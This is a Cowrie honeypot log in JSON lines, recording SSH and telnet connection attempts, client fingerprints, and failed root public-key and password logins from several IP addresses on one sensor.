{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:57.897730Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:a7:1d:69:07:7a:60:c8:d2:8a:98:69:e3:16:13:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs3TrY6vfPjcGG5nshyFdhKNC0ZpMc0tvewGtmmzx4osCxoVVmxti0qURwd/Y8a40Kj6zHERysi5TTCD3h2qnxB6HXhxt34KpI7o4NBtm/BHXw9OtwFtaCg7qN0E0hhD0nnLWn3v/OMlSyl5zO8M/9pdMggynwoGrzeXyxk9IOffWf4nDeZ59xfZTpmiJGR/ERl9mepl+YpYIg0iDzoZvTvnLUscUTNv5lP0o4V/fhlf/f3l5XT/EAEmk9rG0Fz/vtdvF86+kK2RltKeHjqjajgySXO3L1QSKmffDcsIjecgbDryEcCYr9hmgJoMlCtvPdOovZghiOIwC3k4y3ZmNhCphtQElELjeMx8QCB7/tvfsII0MnlK7DLYKVX/PTE5VSegALsg50RD1LmDOqFBVF2q3+ActEfqBmMBY9Gd1iqDq0nI/0/EXQEwvSTQU94WOb5/N5n6Ey6K71Gr7kzRZHlUg9fP7lbO+vZQfTtble/qgGyiOtRG03uritRsTkGxF/h9FpY5oqZaN/HQH4Kpb5gypo1qwSnxg2ih5I7rJivWbUEx3JrfTv4iAO2ZVGy3K9rI7DSNohAD8giL8DtRsjDdQXN33Ia8TP2ZKwgVG2lt2pRekdoA5C+HW+ql7jnNQZpmcuDELop66JhVruCuMLt0YPMSmYoCrWApvd6bUlIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:a7:1d:69:07:7a:60:c8:d2:8a:98:69:e3:16:13:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.348230Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:a7:1d:69:07:7a:60:c8:d2:8a:98:69:e3:16:13:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCs3TrY6vfPjcGG5nshyFdhKNC0ZpMc0tvewGtmmzx4osCxoVVmxti0qURwd/Y8a40Kj6zHERysi5TTCD3h2qnxB6HXhxt34KpI7o4NBtm/BHXw9OtwFtaCg7qN0E0hhD0nnLWn3v/OMlSyl5zO8M/9pdMggynwoGrzeXyxk9IOffWf4nDeZ59xfZTpmiJGR/ERl9mepl+YpYIg0iDzoZvTvnLUscUTNv5lP0o4V/fhlf/f3l5XT/EAEmk9rG0Fz/vtdvF86+kK2RltKeHjqjajgySXO3L1QSKmffDcsIjecgbDryEcCYr9hmgJoMlCtvPdOovZghiOIwC3k4y3ZmNhCphtQElELjeMx8QCB7/tvfsII0MnlK7DLYKVX/PTE5VSegALsg50RD1LmDOqFBVF2q3+ActEfqBmMBY9Gd1iqDq0nI/0/EXQEwvSTQU94WOb5/N5n6Ey6K71Gr7kzRZHlUg9fP7lbO+vZQfTtble/qgGyiOtRG03uritRsTkGxF/h9FpY5oqZaN/HQH4Kpb5gypo1qwSnxg2ih5I7rJivWbUEx3JrfTv4iAO2ZVGy3K9rI7DSNohAD8giL8DtRsjDdQXN33Ia8TP2ZKwgVG2lt2pRekdoA5C+HW+ql7jnNQZpmcuDELop66JhVruCuMLt0YPMSmYoCrWApvd6bUlIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.357832Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:61:77:71:ce:42:69:d6:d6:67:eb:a7:77:f9:31:d1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB6bXdtLluYJ9xCeerPojBrHDXZX1klm63JROLbhvLQB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d2:61:77:71:ce:42:69:d6:d6:67:eb:a7:77:f9:31:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.453475Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:61:77:71:ce:42:69:d6:d6:67:eb:a7:77:f9:31:d1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB6bXdtLluYJ9xCeerPojBrHDXZX1klm63JROLbhvLQB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.464064Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:1b:d7:42:9e:d5:47:0c:75:3c:dd:39:b3:7d:27:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvdo3VLhBOt4yvz2Ky8fUlLfDzg1NiBZuIDxy6qnpsZlnuM8XgwYDCwU07w1x0qkEHwFQwmCO/oO9gWLxONA5RMQ4QFeICog7v+HOtl0RS+/R9vpG/DKpT8fFCna0sk17O2C7hpA8skCEQSj6p7Mw+A6Hgkns4IWxAx4SajJ4g3laTgC9yegEZ7kID5zYNHSrZFTu+Zjm2Nsz5Gm86SN40Z7jzo9qlIf1B2HKM+v4a0OJ6wYN395+iooEmDzbmwm8dmi5LylYVI9CC0uK8fdhZQdJfjP3WctG74Yg55zEqBdUfflyiXOqJdiE6oruyxfkdWjaoOja1R4YZJ2eQ3Pm0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:1b:d7:42:9e:d5:47:0c:75:3c:dd:39:b3:7d:27:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.640849Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:1b:d7:42:9e:d5:47:0c:75:3c:dd:39:b3:7d:27:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvdo3VLhBOt4yvz2Ky8fUlLfDzg1NiBZuIDxy6qnpsZlnuM8XgwYDCwU07w1x0qkEHwFQwmCO/oO9gWLxONA5RMQ4QFeICog7v+HOtl0RS+/R9vpG/DKpT8fFCna0sk17O2C7hpA8skCEQSj6p7Mw+A6Hgkns4IWxAx4SajJ4g3laTgC9yegEZ7kID5zYNHSrZFTu+Zjm2Nsz5Gm86SN40Z7jzo9qlIf1B2HKM+v4a0OJ6wYN395+iooEmDzbmwm8dmi5LylYVI9CC0uK8fdhZQdJfjP3WctG74Yg55zEqBdUfflyiXOqJdiE6oruyxfkdWjaoOja1R4YZJ2eQ3Pm0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.645885Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:28:30:a6:98:ee:6c:b5:f2:80:cd:35:f3:9f:b6:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1CrIVoI650O6sn2wG5fgUc9MMu1w3ZL3h0cMr1+v/y6X/rF1FhfQHC4kkiEfUgi30qKYkAta+OgTpl3zHTfdNDMT8RXr0tIiNWPCoQbcZwXxhEPrgA3P/5acxg8NQBP+UBj2wwZ9ZWXLxquRyYWAihrfYkbr65vQLvb6ctHx4FiRvX2TIvCr+wHekbOCtG2YQL51fixH0cUNx+Bc45KRFlEFRhEEv1adP2mg6C1xu2502766uNH5R8Nfqlk/K9kCqcrzyXT/y1akSeY+csld4VcloZyfaiJbZ/GEo9aaRfG9kH9zp0z1mXY+rocVMZQnyFLUIGloLMEMqwZcv64UGTsXj7Y+iqMijpPtXKli9QDAWzXb+XeknCVeBGDHH82pSxp97bRl1TSQ+J44mtIK5yUZe9t/Gfi12ETqbWwv0MqaS72uCqJ/RqmAmxcJI+njLORmzIJ35YRM7J/bLd69WNK6E081yqR4GEwZSizcdntvjWQiAsSZpzHLR81WVEW6Zi0afaq6KEouo0lGUsRnxe0SGdS3IoTSbpx5gm4li4H72/RaxCACpuy1Qwp4Dzh3f3gCShCePztfHnacNPRgCRSTGzdoXEMP45IcMp1uPOklL/UCnJ+a6h6F6AOhFYmwxQTr5h3VpLUMxDWNILGpklSPxhlFqlKUwJW04LB+pQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:28:30:a6:98:ee:6c:b5:f2:80:cd:35:f3:9f:b6:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.742206Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:28:30:a6:98:ee:6c:b5:f2:80:cd:35:f3:9f:b6:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1CrIVoI650O6sn2wG5fgUc9MMu1w3ZL3h0cMr1+v/y6X/rF1FhfQHC4kkiEfUgi30qKYkAta+OgTpl3zHTfdNDMT8RXr0tIiNWPCoQbcZwXxhEPrgA3P/5acxg8NQBP+UBj2wwZ9ZWXLxquRyYWAihrfYkbr65vQLvb6ctHx4FiRvX2TIvCr+wHekbOCtG2YQL51fixH0cUNx+Bc45KRFlEFRhEEv1adP2mg6C1xu2502766uNH5R8Nfqlk/K9kCqcrzyXT/y1akSeY+csld4VcloZyfaiJbZ/GEo9aaRfG9kH9zp0z1mXY+rocVMZQnyFLUIGloLMEMqwZcv64UGTsXj7Y+iqMijpPtXKli9QDAWzXb+XeknCVeBGDHH82pSxp97bRl1TSQ+J44mtIK5yUZe9t/Gfi12ETqbWwv0MqaS72uCqJ/RqmAmxcJI+njLORmzIJ35YRM7J/bLd69WNK6E081yqR4GEwZSizcdntvjWQiAsSZpzHLR81WVEW6Zi0afaq6KEouo0lGUsRnxe0SGdS3IoTSbpx5gm4li4H72/RaxCACpuy1Qwp4Dzh3f3gCShCePztfHnacNPRgCRSTGzdoXEMP45IcMp1uPOklL/UCnJ+a6h6F6AOhFYmwxQTr5h3VpLUMxDWNILGpklSPxhlFqlKUwJW04LB+pQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.746017Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1imZjfE8ZOcQZ5UFWJq9nE22wN/Gj8S6XaTGoE7ZBNtLaGlVoblrm9amA835dMu7e3DqKuiOl6pi8rI5Bb4F91gVmb10nJiq5aG5e6hPYHh4EhYRkLFxdt3Ftxs0CltujPEuZnyIxkf9f3ZPJ7qcDjer2Tt/LcFqrn1x9ufOKwA4aIXpROYhA3FUVFMtRTzT49XCreVrYh4tWwNn0oiZAjglMUp2EDZHgfhfo2Tsp/7/zaCK0IIVXXt43K2efhK+f4GNzIm8Oc5LKm9y1/DJkpGBB5NwAlFLo/VPK6hVtchjbQiB/fabRUSH8ftgaVeCHXxqXHQnUZkdhqDXIQgt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.841071Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:db:a1:39:fb:ed:d9:d1:82:43:ef:28:a5:fc:59:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1imZjfE8ZOcQZ5UFWJq9nE22wN/Gj8S6XaTGoE7ZBNtLaGlVoblrm9amA835dMu7e3DqKuiOl6pi8rI5Bb4F91gVmb10nJiq5aG5e6hPYHh4EhYRkLFxdt3Ftxs0CltujPEuZnyIxkf9f3ZPJ7qcDjer2Tt/LcFqrn1x9ufOKwA4aIXpROYhA3FUVFMtRTzT49XCreVrYh4tWwNn0oiZAjglMUp2EDZHgfhfo2Tsp/7/zaCK0IIVXXt43K2efhK+f4GNzIm8Oc5LKm9y1/DJkpGBB5NwAlFLo/VPK6hVtchjbQiB/fabRUSH8ftgaVeCHXxqXHQnUZkdhqDXIQgt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.845372Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:18:58.963969Z","src_ip":"141.95.34.214","session":"907f1e739955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58520,"dst_ip":"10.17.0.5","dst_port":23,"session":"48049f473a4c","protocol":"telnet","message":"New connection: 152.42.224.71:58520 (10.17.0.5:23) [session: 48049f473a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:00.422800Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56044,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1791aeba9f6","protocol":"telnet","message":"New connection: 152.42.224.71:56044 (10.17.0.5:23) [session: b1791aeba9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:10.124514Z"}
{"eventid":"cowrie.session.closed","duration":62.43794894218445,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:11.349919Z","src_ip":"152.42.224.71","session":"58a4c42df75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35734,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bbb046f181d","protocol":"ssh","message":"New connection: 193.32.162.145:35734 (10.17.0.5:22) [session: 3bbb046f181d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:28.411139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:28.420488Z","src_ip":"193.32.162.145","session":"3bbb046f181d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:28.526830Z","src_ip":"193.32.162.145","session":"3bbb046f181d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"test","message":"login attempt [sol/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:28.950175Z","src_ip":"193.32.162.145","session":"3bbb046f181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:19:30.064871Z","src_ip":"193.32.162.145","session":"3bbb046f181d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.28847312927246,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:00.412822Z","src_ip":"152.42.224.71","session":"b1791aeba9f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":34492,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b4d603bc0d","protocol":"ssh","message":"New connection: 31.57.184.247:34492 (159.203.135.109:22) [session: c1b4d603bc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:13.840013Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:13.848553Z","src_ip":"31.57.184.247","session":"c1b4d603bc0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.184.247","src_port":34500,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e8dd3f083d","protocol":"ssh","message":"New connection: 31.57.184.247:34500 (159.203.135.109:22) [session: a3e8dd3f083d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:13.963478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:13.970830Z","src_ip":"31.57.184.247","session":"a3e8dd3f083d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:14.081209Z","src_ip":"31.57.184.247","session":"a3e8dd3f083d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svetlana","message":"login attempt [root/svetlana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:14.320377Z","src_ip":"31.57.184.247","session":"a3e8dd3f083d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:15.429072Z","src_ip":"31.57.184.247","session":"a3e8dd3f083d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46472,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3467e628c9","protocol":"telnet","message":"New connection: 152.42.224.71:46472 (10.17.0.5:23) [session: ea3467e628c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:25.798081Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":53842,"dst_ip":"159.203.135.109","dst_port":22,"session":"004be15571d2","protocol":"ssh","message":"New connection: 103.183.114.55:53842 (159.203.135.109:22) [session: 004be15571d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:34.218319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:34.222602Z","src_ip":"103.183.114.55","session":"004be15571d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:34.440861Z","src_ip":"103.183.114.55","session":"004be15571d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leralera","message":"login attempt [root/leralera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:35.096978Z","src_ip":"103.183.114.55","session":"004be15571d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:20:36.320463Z","src_ip":"103.183.114.55","session":"004be15571d2","protocol":"ssh"}
